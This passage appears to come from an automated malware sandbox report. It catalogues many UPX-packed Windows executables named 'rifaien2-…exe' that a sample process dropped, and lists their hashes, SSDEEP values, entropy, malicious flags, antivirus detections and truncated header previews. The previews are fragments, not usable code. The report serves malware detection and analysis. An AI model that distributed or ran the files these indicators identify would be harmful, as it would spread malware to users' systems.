Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......S...............8.P.......0.......@........@........................................... ......................@..4...........................................................................................................................UPX0.....0..............................UPX1.....P...@...H..................@...UPX2.................J..............@...4.22.UPX!......}.[.^..f...E...,..&.......U...SB...]..t&.U...R.......S.. hP.@.................$....E..E...P.E.....A.SPh.0B..w..h..'.\|..... ..uD.......,'....4.........}...S..Q..>R.?P...........$.......CQQP.>...S.R........t.PPpP.C0...>...t.P........n....'..U....j....\.{.a{.........!./..E.....=....w.~..;=..rK..HPPj.j...................1..]..........&..=.:tI=...=.....u..=..t9=..u.S.....tZ..t..j.....i..}...1...m1..y..>...K..(...:.jlX,..Y'.P...,.............v..y=..;...s<B...<..;~.:..h..Az....

C:\Users\user\Desktop\rifaien2-BxQHxwmcvdOeGoyr.exe

Download File

Process:	C:\Users\user\Desktop\Yx1Wz608PO.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	84992
Entropy (8bit):	7.691691235240307
Encrypted:	false
SSDEEP:	1536:LJaPJpAz869DUxWB+i4OQ4NR2Kk+aSnfZaG8fcaOCzGquSE0cF+/K:LJ0TAz6Mte4A+aaZx8EnCGVu/
MD5:	E0D936233D6C2C54A3843FB295C08351
SHA1:	8E8ECA046CF767E375DB8DE7C71A7A3E70DDB9E2
SHA-256:	8F9F477A9BFABAC46958D5F8F0E094A41E3CCBCC72C77A89969850F8A024E643
SHA-512:	C47B278F812E5D86844E3E3ED8D90A25A8A66BAB3F50ADE2803C3A3B6F7076C9E534A460F45C857A1E551EE39E3A7AAB40FAB40BDD0EDA2CFA573676551825FB
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......S...............8.P.......0.......@........@........................................... ......................@..4...........................................................................................................................UPX0.....0..............................UPX1.....P...@...H..................@...UPX2.................J..............@...4.22.UPX!......}.[.^..f...E...,..&.......U...SB...]..t&.U...R.......S.. hP.@.................$....E..E...P.E.....A.SPh.0B..w..h..'.\|..... ..uD.......,'....4.........}...S..Q..>R.?P...........$.......CQQP.>...S.R........t.PPpP.C0...>...t.P........n....'..U....j....\.{.a{.........!./..E.....=....w.~..;=..rK..HPPj.j...................1..]..........&..=.:tI=...=.....u..=..t9=..u.S.....tZ..t..j.....i..}...1...m1..y..>...K..(...:.jlX,..Y'.P...,.............v..y=..;...s<B...<..;~.:..h..Az....

C:\Users\user\Desktop\rifaien2-COs3jWZ0Jp7WCrwG.exe

Download File

Process:	C:\Users\user\Desktop\Yx1Wz608PO.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	84992
Entropy (8bit):	7.6917100705741195
Encrypted:	false
SSDEEP:	1536:LJaPJpAz869DUxWB+i4OQ4NR2Kk+aSnfZaG8fcaOCzGquSE0cF+4K:LJ0TAz6Mte4A+aaZx8EnCGVu4
MD5:	B7440835A3F172F4F9153E56F40663BB
SHA1:	11249EAEDF72266F53FF5C03C494ECC04FC28E84
SHA-256:	9B3FDFDB7C28DA702076E1008461A6CBC965E975F4DD6BF9E4402273140F6CD0
SHA-512:	0DFC45D36F21B80A1176D540F8FE9DA5D5ADDD41CA6C8DA264EA290613A98C3149B7E6DDAE9AF59237DD7BDAB2D2D87413B701F01ACA6F610621644463549E0B
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......S...............8.P.......0.......@........@........................................... ......................@..4...........................................................................................................................UPX0.....0..............................UPX1.....P...@...H..................@...UPX2.................J..............@...4.22.UPX!......}.[.^..f...E...,..&.......U...SB...]..t&.U...R.......S.. hP.@.................$....E..E...P.E.....A.SPh.0B..w..h..'.\|..... ..uD.......,'....4.........}...S..Q..>R.?P...........$.......CQQP.>...S.R........t.PPpP.C0...>...t.P........n....'..U....j....\.{.a{.........!./..E.....=....w.~..;=..rK..HPPj.j...................1..]..........&..=.:tI=...=.....u..=..t9=..u.S.....tZ..t..j.....i..}...1...m1..y..>...K..(...:.jlX,..Y'.P...,.............v..y=..;...s<B...<..;~.:..h..Az....

C:\Users\user\Desktop\rifaien2-DlmIbpKoNTOiCR62.exe

Download File

Process:	C:\Users\user\Desktop\Yx1Wz608PO.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	84992
Entropy (8bit):	7.691646100722477
Encrypted:	false
SSDEEP:	1536:LJaPJpAz869DUxWB+i4OQ4NR2Kk+aSnfZaG8fcaOCzGquSE0cF+fK:LJ0TAz6Mte4A+aaZx8EnCGVuf
MD5:	31CE6C4F25F868511E97819D2DC595E5
SHA1:	12F07EE363DCA8D3A15F1F3F7B8232DC4FF76BBD
SHA-256:	37F0D296C3338D011790A1B4641B44CE15CC1055DC5B49BDD164FD0B15AAA789
SHA-512:	E3F72EE02F99BCCC56D76ADAD7F468CC64AA9328BF2C5BF8C9E225D4AD0AE6C460F1C26063444A41FAF31699ED823D05ADBFFFAB72FB699DB48A75356E017329
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......S...............8.P.......0.......@........@........................................... ......................@..4...........................................................................................................................UPX0.....0..............................UPX1.....P...@...H..................@...UPX2.................J..............@...4.22.UPX!......}.[.^..f...E...,..&.......U...SB...]..t&.U...R.......S.. hP.@.................$....E..E...P.E.....A.SPh.0B..w..h..'.\|..... ..uD.......,'....4.........}...S..Q..>R.?P...........$.......CQQP.>...S.R........t.PPpP.C0...>...t.P........n....'..U....j....\.{.a{.........!./..E.....=....w.~..;=..rK..HPPj.j...................1..]..........&..=.:tI=...=.....u..=..t9=..u.S.....tZ..t..j.....i..}...1...m1..y..>...K..(...:.jlX,..Y'.P...,.............v..y=..;...s<B...<..;~.:..h..Az....

C:\Users\user\Desktop\rifaien2-E8VR5WWssDiJ6hpJ.exe

Download File

Process:	C:\Users\user\Desktop\Yx1Wz608PO.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	84992
Entropy (8bit):	7.6916368389795355
Encrypted:	false
SSDEEP:	1536:LJaPJpAz869DUxWB+i4OQ4NR2Kk+aSnfZaG8fcaOCzGquSE0cF+uK:LJ0TAz6Mte4A+aaZx8EnCGVuu
MD5:	439B778058358E0E3317D9CEDC9CFA31
SHA1:	EE40AA4E1D0F25079BB77E530D7091A940661223
SHA-256:	AB108F0DFC7CBA9D2B9E7C89EA28A2D158F6B076C18155317B393D7F73E04B17
SHA-512:	85E0E903A02B817EFBD6F2907DBB143E4FFECF6A1BD828838E3BAAE843EADD6F16AD8F2BD9342F0A2C073EA5F3F2626363A54C52CEB677E2B0AEABC80BBE6192
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......S...............8.P.......0.......@........@........................................... ......................@..4...........................................................................................................................UPX0.....0..............................UPX1.....P...@...H..................@...UPX2.................J..............@...4.22.UPX!......}.[.^..f...E...,..&.......U...SB...]..t&.U...R.......S.. hP.@.................$....E..E...P.E.....A.SPh.0B..w..h..'.\|..... ..uD.......,'....4.........}...S..Q..>R.?P...........$.......CQQP.>...S.R........t.PPpP.C0...>...t.P........n....'..U....j....\.{.a{.........!./..E.....=....w.~..;=..rK..HPPj.j...................1..]..........&..=.:tI=...=.....u..=..t9=..u.S.....tZ..t..j.....i..}...1...m1..y..>...K..(...:.jlX,..Y'.P...,.............v..y=..;...s<B...<..;~.:..h..Az....

C:\Users\user\Desktop\rifaien2-EJnWcEY70jNTCKDa.exe

Download File

Process:	C:\Users\user\Desktop\Yx1Wz608PO.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	84992
Entropy (8bit):	7.691621935619186
Encrypted:	false
SSDEEP:	1536:LJaPJpAz869DUxWB+i4OQ4NR2Kk+aSnfZaG8fcaOCzGquSE0cF+oK:LJ0TAz6Mte4A+aaZx8EnCGVuo
MD5:	7D6611520D365147E9EF0AFAFE27416A
SHA1:	ADDD619B4B6FB61CDAA612A271C0674CBCB89F3D
SHA-256:	B9068837DB33626769249C4D46BF20FFFD817D165978417E66CC0E7A3165C7E6
SHA-512:	C97F0671EEFC71E3FC9103ED4431EBBBE3F77485D4FE36BE7A52DD6E4D78F623AEDD5ED7BD07EC480DF19492534B933F570E0D3F3F8EE8DD2FF01A4DA0CD06C0
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......S...............8.P.......0.......@........@........................................... ......................@..4...........................................................................................................................UPX0.....0..............................UPX1.....P...@...H..................@...UPX2.................J..............@...4.22.UPX!......}.[.^..f...E...,..&.......U...SB...]..t&.U...R.......S.. hP.@.................$....E..E...P.E.....A.SPh.0B..w..h..'.\|..... ..uD.......,'....4.........}...S..Q..>R.?P...........$.......CQQP.>...S.R........t.PPpP.C0...>...t.P........n....'..U....j....\.{.a{.........!./..E.....=....w.~..;=..rK..HPPj.j...................1..]..........&..=.:tI=...=.....u..=..t9=..u.S.....tZ..t..j.....i..}...1...m1..y..>...K..(...:.jlX,..Y'.P...,.............v..y=..;...s<B...<..;~.:..h..Az....

C:\Users\user\Desktop\rifaien2-FgpAC8WJsCEb80wY.exe

Download File

Process:	C:\Users\user\Desktop\Yx1Wz608PO.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	84992
Entropy (8bit):	7.691647610309668
Encrypted:	false
SSDEEP:	1536:LJaPJpAz869DUxWB+i4OQ4NR2Kk+aSnfZaG8fcaOCzGquSE0cF+TK:LJ0TAz6Mte4A+aaZx8EnCGVuT
MD5:	6CACD285ACC6A124F5824113CA97A6B2
SHA1:	89D0DBA906A57496E6310C2F7482E49D5C46D5A5
SHA-256:	F2E557AA6E7A596434D62D5502AC8D5A79C3C04B8D38FEDC72171CD388126A84
SHA-512:	4F0599FBCCADC6DC9AADE96A8A5F2114AF449A24BFBE873CF16DC353EF6CA248C5210F24606A2DB96579FB832AAD6FB5E4DE26BA95C596CC46080E3DCA974EEC
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......S...............8.P.......0.......@........@........................................... ......................@..4...........................................................................................................................UPX0.....0..............................UPX1.....P...@...H..................@...UPX2.................J..............@...4.22.UPX!......}.[.^..f...E...,..&.......U...SB...]..t&.U...R.......S.. hP.@.................$....E..E...P.E.....A.SPh.0B..w..h..'.\|..... ..uD.......,'....4.........}...S..Q..>R.?P...........$.......CQQP.>...S.R........t.PPpP.C0...>...t.P........n....'..U....j....\.{.a{.........!./..E.....=....w.~..;=..rK..HPPj.j...................1..]..........&..=.:tI=...=.....u..=..t9=..u.S.....tZ..t..j.....i..}...1...m1..y..>...K..(...:.jlX,..Y'.P...,.............v..y=..;...s<B...<..;~.:..h..Az....

C:\Users\user\Desktop\rifaien2-G55U73FCHlQNV6Tv.exe

Download File

Process:	C:\Users\user\Desktop\Yx1Wz608PO.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	84992
Entropy (8bit):	7.691673933712293
Encrypted:	false
SSDEEP:	1536:LJaPJpAz869DUxWB+i4OQ4NR2Kk+aSnfZaG8fcaOCzGquSE0cF+BK:LJ0TAz6Mte4A+aaZx8EnCGVuB
MD5:	9F1F1F0277CFABD6570BAE11DAA87909
SHA1:	C224EB04C194F5620C59F6F2C9DEBD7CD0922E4A
SHA-256:	B107A5CE9CCE3AF04566804284FCB71C63D32A03AAD19742007C354A88FAAF44
SHA-512:	2338FE536815634F786E264617A3A16CD60313844F30DAF8D9D45F133163309A6CBDD52858AAA9C4B32F07E0B8A37290A6336B368B6B03ED4CD527FCA28C54AA
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......S...............8.P.......0.......@........@........................................... ......................@..4...........................................................................................................................UPX0.....0..............................UPX1.....P...@...H..................@...UPX2.................J..............@...4.22.UPX!......}.[.^..f...E...,..&.......U...SB...]..t&.U...R.......S.. hP.@.................$....E..E...P.E.....A.SPh.0B..w..h..'.\|..... ..uD.......,'....4.........}...S..Q..>R.?P...........$.......CQQP.>...S.R........t.PPpP.C0...>...t.P........n....'..U....j....\.{.a{.........!./..E.....=....w.~..;=..rK..HPPj.j...................1..]..........&..=.:tI=...=.....u..=..t9=..u.S.....tZ..t..j.....i..}...1...m1..y..>...K..(...:.jlX,..Y'.P...,.............v..y=..;...s<B...<..;~.:..h..Az....

C:\Users\user\Desktop\rifaien2-GswVbQAeth6AirwL.exe

Download File

Process:	C:\Users\user\Desktop\Yx1Wz608PO.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	84992
Entropy (8bit):	7.691604634273397
Encrypted:	false
SSDEEP:	1536:LJaPJpAz869DUxWB+i4OQ4NR2Kk+aSnfZaG8fcaOCzGquSE0cF+lK:LJ0TAz6Mte4A+aaZx8EnCGVul
MD5:	3AA4ABF171194A3D091E15C0618E636F
SHA1:	2C2E32CB4367E777BA43E08BFD72131A39C8D576
SHA-256:	8D1EC0F5030A6B761FD61812C8303057167B946640D3E8D2D0B84DF542073DF6
SHA-512:	D22916E34D92C523DDEDF320137295585E02EBBF0D76425105FB73D40A1E582D490236973ED0E835CDD08E2EA6A3760E623A024321BB1AD10F235C1332E13CBB
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......S...............8.P.......0.......@........@........................................... ......................@..4...........................................................................................................................UPX0.....0..............................UPX1.....P...@...H..................@...UPX2.................J..............@...4.22.UPX!......}.[.^..f...E...,..&.......U...SB...]..t&.U...R.......S.. hP.@.................$....E..E...P.E.....A.SPh.0B..w..h..'.\|..... ..uD.......,'....4.........}...S..Q..>R.?P...........$.......CQQP.>...S.R........t.PPpP.C0...>...t.P........n....'..U....j....\.{.a{.........!./..E.....=....w.~..;=..rK..HPPj.j...................1..]..........&..=.:tI=...=.....u..=..t9=..u.S.....tZ..t..j.....i..}...1...m1..y..>...K..(...:.jlX,..Y'.P...,.............v..y=..;...s<B...<..;~.:..h..Az....

C:\Users\user\Desktop\rifaien2-HGWO8ZYntiaZkSsz.exe

Download File

Process:	C:\Users\user\Desktop\Yx1Wz608PO.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	84992
Entropy (8bit):	7.6916724443706155
Encrypted:	false
SSDEEP:	1536:LJaPJpAz869DUxWB+i4OQ4NR2Kk+aSnfZaG8fcaOCzGquSE0cF+EK:LJ0TAz6Mte4A+aaZx8EnCGVuE
MD5:	70327703C33EA8EC3397D8F11921F8F0
SHA1:	55B7C6D967560EEDDDEA5920261D8C898CA48513
SHA-256:	F353B898DD5B502187C9BCEBAC15D4357D9914574C40D32043FEB0E269A995A2
SHA-512:	3206D49ABA51D25AF41D875A55FA404E2A966770575D1DAE3AC120DADCB2F42BA074D22D70FA0643032AE95ABC94D212F16117F7C83C233E3E4288BA77AA531B
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......S...............8.P.......0.......@........@........................................... ......................@..4...........................................................................................................................UPX0.....0..............................UPX1.....P...@...H..................@...UPX2.................J..............@...4.22.UPX!......}.[.^..f...E...,..&.......U...SB...]..t&.U...R.......S.. hP.@.................$....E..E...P.E.....A.SPh.0B..w..h..'.\|..... ..uD.......,'....4.........}...S..Q..>R.?P...........$.......CQQP.>...S.R........t.PPpP.C0...>...t.P........n....'..U....j....\.{.a{.........!./..E.....=....w.~..;=..rK..HPPj.j...................1..]..........&..=.:tI=...=.....u..=..t9=..u.S.....tZ..t..j.....i..}...1...m1..y..>...K..(...:.jlX,..Y'.P...,.............v..y=..;...s<B...<..;~.:..h..Az....

C:\Users\user\Desktop\rifaien2-I6zVOkc7a2MoLHpC.exe

Download File

Process:	C:\Users\user\Desktop\Yx1Wz608PO.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	84992
Entropy (8bit):	7.691670378951652
Encrypted:	false
SSDEEP:	1536:LJaPJpAz869DUxWB+i4OQ4NR2Kk+aSnfZaG8fcaOCzGquSE0cF+xK:LJ0TAz6Mte4A+aaZx8EnCGVux
MD5:	6D7E52968CFF3E3815755606FACAF887
SHA1:	4A11A0FCC7048E685FE70B75808A30A7457075DE
SHA-256:	5B37BBCD137AA1AB62446628B21E262845622B0B5C5F88B2ED591450912646AA
SHA-512:	E22EADEDD69076E1AA781B9CA60C20FC25785B920F30657DD701A931E5B1E801588376B32D92A3334BC2D5843BD23D84797DFDBD4E66D8D35941E013BF2987EB
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......S...............8.P.......0.......@........@........................................... ......................@..4...........................................................................................................................UPX0.....0..............................UPX1.....P...@...H..................@...UPX2.................J..............@...4.22.UPX!......}.[.^..f...E...,..&.......U...SB...]..t&.U...R.......S.. hP.@.................$....E..E...P.E.....A.SPh.0B..w..h..'.\|..... ..uD.......,'....4.........}...S..Q..>R.?P...........$.......CQQP.>...S.R........t.PPpP.C0...>...t.P........n....'..U....j....\.{.a{.........!./..E.....=....w.~..;=..rK..HPPj.j...................1..]..........&..=.:tI=...=.....u..=..t9=..u.S.....tZ..t..j.....i..}...1...m1..y..>...K..(...:.jlX,..Y'.P...,.............v..y=..;...s<B...<..;~.:..h..Az....

C:\Users\user\Desktop\rifaien2-IUG4zGcbBzvzNdJv.exe

Download File

Process:	C:\Users\user\Desktop\Yx1Wz608PO.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	84992
Entropy (8bit):	7.691667894713995
Encrypted:	false
SSDEEP:	1536:LJaPJpAz869DUxWB+i4OQ4NR2Kk+aSnfZaG8fcaOCzGquSE0cF+0K:LJ0TAz6Mte4A+aaZx8EnCGVu0
MD5:	7A0B7C98012D4D5264A15B653C82A03A
SHA1:	FED75977D2AC3B3F4744A15990A410CE69753155
SHA-256:	A6959131766671577B3643BAE2D0E893149087880B4AD456804EA292C4AC2DC1
SHA-512:	3D5FE3F38711C194AA52A33CB1D33BA28954E16A69F90A369C703CC6C31563B4BE39C792D34294ADEEB8DA73D4780F045B87210600E64086DD4A250DB89D7C15
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......S...............8.P.......0.......@........@........................................... ......................@..4...........................................................................................................................UPX0.....0..............................UPX1.....P...@...H..................@...UPX2.................J..............@...4.22.UPX!......}.[.^..f...E...,..&.......U...SB...]..t&.U...R.......S.. hP.@.................$....E..E...P.E.....A.SPh.0B..w..h..'.\|..... ..uD.......,'....4.........}...S..Q..>R.?P...........$.......CQQP.>...S.R........t.PPpP.C0...>...t.P........n....'..U....j....\.{.a{.........!./..E.....=....w.~..;=..rK..HPPj.j...................1..]..........&..=.:tI=...=.....u..=..t9=..u.S.....tZ..t..j.....i..}...1...m1..y..>...K..(...:.jlX,..Y'.P...,.............v..y=..;...s<B...<..;~.:..h..Az....

C:\Users\user\Desktop\rifaien2-Iz6XhHUHigVtubDW.exe

Download File

Process:	C:\Users\user\Desktop\Yx1Wz608PO.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	84992
Entropy (8bit):	7.691624822802215
Encrypted:	false
SSDEEP:	1536:LJaPJpAz869DUxWB+i4OQ4NR2Kk+aSnfZaG8fcaOCzGquSE0cF+vK:LJ0TAz6Mte4A+aaZx8EnCGVuv
MD5:	2A939CB0B6CE9D0CF939A0F0A3B1F6EC
SHA1:	FC0203C0D23A1F6F04DFEE834D4C828B0AD46312
SHA-256:	CDF4F1C87DFE50F8719BA01A5E6E28FD9B0CD615B27AA2D15A0A185D1DE51D7C
SHA-512:	3F1DEB64C801EB9889F4A2D4DB848C06FB5631365ACD7B368E20991D3461500081E264A2D82EBB29DF67BAD18EF30BD7E66F0B49538AE9576A9588D9F9777C7E
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......S...............8.P.......0.......@........@........................................... ......................@..4...........................................................................................................................UPX0.....0..............................UPX1.....P...@...H..................@...UPX2.................J..............@...4.22.UPX!......}.[.^..f...E...,..&.......U...SB...]..t&.U...R.......S.. hP.@.................$....E..E...P.E.....A.SPh.0B..w..h..'.\|..... ..uD.......,'....4.........}...S..Q..>R.?P...........$.......CQQP.>...S.R........t.PPpP.C0...>...t.P........n....'..U....j....\.{.a{.........!./..E.....=....w.~..;=..rK..HPPj.j...................1..]..........&..=.:tI=...=.....u..=..t9=..u.S.....tZ..t..j.....i..}...1...m1..y..>...K..(...:.jlX,..Y'.P...,.............v..y=..;...s<B...<..;~.:..h..Az....

C:\Users\user\Desktop\rifaien2-J68guXWHhSRdzOvX.exe

Download File

Process:	C:\Users\user\Desktop\Yx1Wz608PO.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	84992
Entropy (8bit):	7.691587190255098
Encrypted:	false
SSDEEP:	1536:LJaPJpAz869DUxWB+i4OQ4NR2Kk+aSnfZaG8fcaOCzGquSE0cF+eK:LJ0TAz6Mte4A+aaZx8EnCGVue
MD5:	13E0AC5173A824D028760E484953435C
SHA1:	E80E15A1E8DE1485003B10711BBD8137A87FF806
SHA-256:	BF00D6E43CCD72052C852C39545A27875909F3F4226313AD4536438AE2B6DD1C
SHA-512:	42472A8CDD92D5004322AE0B99A353BA5D7592047476F26746672436497259BA3DB99FA857C5DCC79DB1A16F13488F3186AA073493DC6349D317CFE291F02758
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......S...............8.P.......0.......@........@........................................... ......................@..4...........................................................................................................................UPX0.....0..............................UPX1.....P...@...H..................@...UPX2.................J..............@...4.22.UPX!......}.[.^..f...E...,..&.......U...SB...]..t&.U...R.......S.. hP.@.................$....E..E...P.E.....A.SPh.0B..w..h..'.\|..... ..uD.......,'....4.........}...S..Q..>R.?P...........$.......CQQP.>...S.R........t.PPpP.C0...>...t.P........n....'..U....j....\.{.a{.........!./..E.....=....w.~..;=..rK..HPPj.j...................1..]..........&..=.:tI=...=.....u..=..t9=..u.S.....tZ..t..j.....i..}...1...m1..y..>...K..(...:.jlX,..Y'.P...,.............v..y=..;...s<B...<..;~.:..h..Az....

C:\Users\user\Desktop\rifaien2-L9Cwe3j2i64ZA5Re.exe

Download File

Process:	C:\Users\user\Desktop\Yx1Wz608PO.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	84992
Entropy (8bit):	7.691636932900515
Encrypted:	false
SSDEEP:	1536:LJaPJpAz869DUxWB+i4OQ4NR2Kk+aSnfZaG8fcaOCzGquSE0cF+rK:LJ0TAz6Mte4A+aaZx8EnCGVur
MD5:	5783C7CE4E158404D2F3403AF244E99D
SHA1:	56EEA01CE5E925CF3A8C979028E8E3D498BBB980
SHA-256:	A051FF0B25EFD4087167F9D4640BC3CE970E256B810A6BC7685AA48B22F138F3
SHA-512:	F6BCD2AB0411E2A1C84C7104A9EBBD15090198EDBC6DFC6D35E7C3143629A8801C38EF4D6AD9D92977F7333CF13E41F2C634D82FDB430B28B3EC111C1623AC4D
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......S...............8.P.......0.......@........@........................................... ......................@..4...........................................................................................................................UPX0.....0..............................UPX1.....P...@...H..................@...UPX2.................J..............@...4.22.UPX!......}.[.^..f...E...,..&.......U...SB...]..t&.U...R.......S.. hP.@.................$....E..E...P.E.....A.SPh.0B..w..h..'.\|..... ..uD.......,'....4.........}...S..Q..>R.?P...........$.......CQQP.>...S.R........t.PPpP.C0...>...t.P........n....'..U....j....\.{.a{.........!./..E.....=....w.~..;=..rK..HPPj.j...................1..]..........&..=.:tI=...=.....u..=..t9=..u.S.....tZ..t..j.....i..}...1...m1..y..>...K..(...:.jlX,..Y'.P...,.............v..y=..;...s<B...<..;~.:..h..Az....

C:\Users\user\Desktop\rifaien2-LRhmhC00EPTolTjv.exe

Download File

Process:	C:\Users\user\Desktop\Yx1Wz608PO.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	84992
Entropy (8bit):	7.6916325735775635
Encrypted:	false
SSDEEP:	1536:LJaPJpAz869DUxWB+i4OQ4NR2Kk+aSnfZaG8fcaOCzGquSE0cF+NK:LJ0TAz6Mte4A+aaZx8EnCGVuN
MD5:	8ECCAC6A3D5A5BE27D9D1A8230E0A06E
SHA1:	9C1541487F5B6D9E52FF1354AF53D744E1CC480A
SHA-256:	BF3964607E6F27B00D3EA92DF72AD3B9585CB1F12DF50B29614B4BA32AD32679
SHA-512:	D912B2D0570C14FDBA0B4282D9A9E3BB856F0BD244C6CD8BCFD3DFA6F601EE107D99B87F1C1002A62E8996C82C5667F5CD22C403FBEDD8413BA85E8D071C64B1
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......S...............8.P.......0.......@........@........................................... ......................@..4...........................................................................................................................UPX0.....0..............................UPX1.....P...@...H..................@...UPX2.................J..............@...4.22.UPX!......}.[.^..f...E...,..&.......U...SB...]..t&.U...R.......S.. hP.@.................$....E..E...P.E.....A.SPh.0B..w..h..'.\|..... ..uD.......,'....4.........}...S..Q..>R.?P...........$.......CQQP.>...S.R........t.PPpP.C0...>...t.P........n....'..U....j....\.{.a{.........!./..E.....=....w.~..;=..rK..HPPj.j...................1..]..........&..=.:tI=...=.....u..=..t9=..u.S.....tZ..t..j.....i..}...1...m1..y..>...K..(...:.jlX,..Y'.P...,.............v..y=..;...s<B...<..;~.:..h..Az....

C:\Users\user\Desktop\rifaien2-LUEYWSrnqnW64tyL.exe

Download File

Process:	C:\Users\user\Desktop\Yx1Wz608PO.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	84992
Entropy (8bit):	7.691622950119694
Encrypted:	false
SSDEEP:	1536:LJaPJpAz869DUxWB+i4OQ4NR2Kk+aSnfZaG8fcaOCzGquSE0cF+HK:LJ0TAz6Mte4A+aaZx8EnCGVuH
MD5:	49229B0939544D97EFA01DAE5DB90DD9
SHA1:	DC6D42F514F13F384B248D56833615F0F7F28B9F
SHA-256:	8739C72BA5AE77D823E0D3B647F9249E35B66AC3B0422C4EE00DF195571BC79F
SHA-512:	A8E42E2E805DDD5CD2564AC100FC8EC5CD2ABE67DEFEF78C6E053487151F93F04988C6B3E534454E28A087F664A9237F9D1AB3003C273EB74A68BFBD39E15BCA
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......S...............8.P.......0.......@........@........................................... ......................@..4...........................................................................................................................UPX0.....0..............................UPX1.....P...@...H..................@...UPX2.................J..............@...4.22.UPX!......}.[.^..f...E...,..&.......U...SB...]..t&.U...R.......S.. hP.@.................$....E..E...P.E.....A.SPh.0B..w..h..'.\|..... ..uD.......,'....4.........}...S..Q..>R.?P...........$.......CQQP.>...S.R........t.PPpP.C0...>...t.P........n....'..U....j....\.{.a{.........!./..E.....=....w.~..;=..rK..HPPj.j...................1..]..........&..=.:tI=...=.....u..=..t9=..u.S.....tZ..t..j.....i..}...1...m1..y..>...K..(...:.jlX,..Y'.P...,.............v..y=..;...s<B...<..;~.:..h..Az....

C:\Users\user\Desktop\rifaien2-MkDE7nUolYAvIS4K.exe

Download File

Process:	C:\Users\user\Desktop\Yx1Wz608PO.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	84992
Entropy (8bit):	7.691635003836906
Encrypted:	false
SSDEEP:	1536:LJaPJpAz869DUxWB+i4OQ4NR2Kk+aSnfZaG8fcaOCzGquSE0cF+zK:LJ0TAz6Mte4A+aaZx8EnCGVuz
MD5:	BEE40D67A3D519532053DACECDA2E031
SHA1:	B05A1818A764AFB3B87DA4FEAA1562BA5FD7AB9A
SHA-256:	A40F45B844FF6211456EE7B46B73F27F6155D0149D86CDE4F8FF5F253855BA9E
SHA-512:	36420AC51D2DCDEB40AEB04987A92E5CE8BFAA8D80313D0DC34CA1DAA7D0DB32992FA19AE575377454D299E2F53C8DEB2B15B3D0E6DE7C93D9B6AA06A826A2BD
Malicious:	true
